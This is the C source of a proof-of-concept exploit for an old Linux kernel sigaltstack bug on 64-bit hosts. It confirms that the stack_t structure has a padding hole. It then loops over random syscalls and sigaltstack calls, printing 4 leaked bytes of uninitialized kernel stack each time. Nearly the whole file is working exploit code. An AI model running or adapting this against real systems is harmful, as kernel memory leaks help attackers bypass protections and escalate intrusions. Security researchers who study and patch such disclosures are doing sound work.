/*
 * sigaltstack-leak.c
 *
 * Linux Kernel <= 2.6.31-rc5 sigaltstack 4-Byte Stack Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://git.kernel.org/linus/0083fc2c50e6c5127c2802ad323adf8143ab7856
 *
 *   Ulrich Drepper correctly points out that there is generally padding in
 *   the structure on 64-bit hosts, and that copying the structure from
 *   kernel to user space can leak information from the kernel stack in those
 *   padding bytes.
 *
 * Notes:
 *
 *   Only 4 bytes of uninitialized kernel stack are leaked in the padding
 *   between stack_t's ss_flags and ss_size.  The disclosure only affects
 *   affects 64-bit hosts.
 */

#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <time.h>
#include <sys/syscall.h>
#include <sys/types.h>

const int randcalls[] = {
 0, 1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 13, 14, 16,
 21, 22, 24, 25, 32, 33, 36, 37, 38, 39, 72, 73,
 78, 79, 96, 97, 97, 102, 104, 105, 106, 107, 108,
 109, 110, 11, 112, 113, 114, 116, 117, 118, 119,
 120, 121, 121, 123, 124, 125, 140, 141, 143, 146
};

void
dump(const unsigned char *p, unsigned l)
{
 printf("stack_t:");
 while (l > 0) {
  printf(" ");
  if (l == 12) {
   printf("*** ");
  }
  printf("%02x", *p);
  if (l == 9) {
   printf(" ***");
  }
  ++p; --l;
 }
 printf("\n");
}

int
main(void)
{
 char *p;
 int call, ret;
 size_t size, ftest, stest;
 stack_t oss;

 size = sizeof(stack_t);

 printf("[+] Checking platform...\n");

 if (size == 24) {
  printf("[+] sizeof(stack_t) = %zu\n", size);
  printf("[+] Correct size, 64-bit platform.\n");
 } else {
  printf("[-] sizeof(stack_t) = %zu\n", size);
  printf("[-] Error: you do not appear to be on a 64-bit platform.\n");
  printf("[-] No information disclosure is possible.\n");
  exit(1);
 }

 ftest = offsetof(stack_t, ss_flags) + sizeof(oss.ss_flags);
 stest = offsetof(stack_t, ss_size);

 printf("[+] Checking for stack_t hole...\n");

 if (ftest != stest) {
  printf("[+] ss_flags end (%zu) != ss_size start (%zu)\n", ftest, stest);
  printf("[+] Hole in stack_t present!\n", ftest, stest);
 } else {
  printf("[-] ss_flags end (%zu) == ss_size start (%zu)\n", ftest, stest);
  printf("[-] Error: No hole in stack_t, something is quite wrong.\n");
  exit(1);
 }

 printf("[+] Ready to call sigaltstack.\n\n");

 for (ret = 5; ret > 0; ret--) {
  printf("%d...\n", ret);
  sleep(1);
 }
 srand(time(NULL));

 while (1) {
  /* random stuff to make stack pseudo-interesting */
  call = rand() % (sizeof(randcalls) / sizeof(int));
  syscall(randcalls[call]);

  ret = sigaltstack(NULL, &oss);
  if (ret != 0) {
   printf("[-] Error: sigaltstack failed.\n");
   exit(1);
  }

  dump((unsigned char *) &oss, sizeof(oss));
 }

 return 0;
}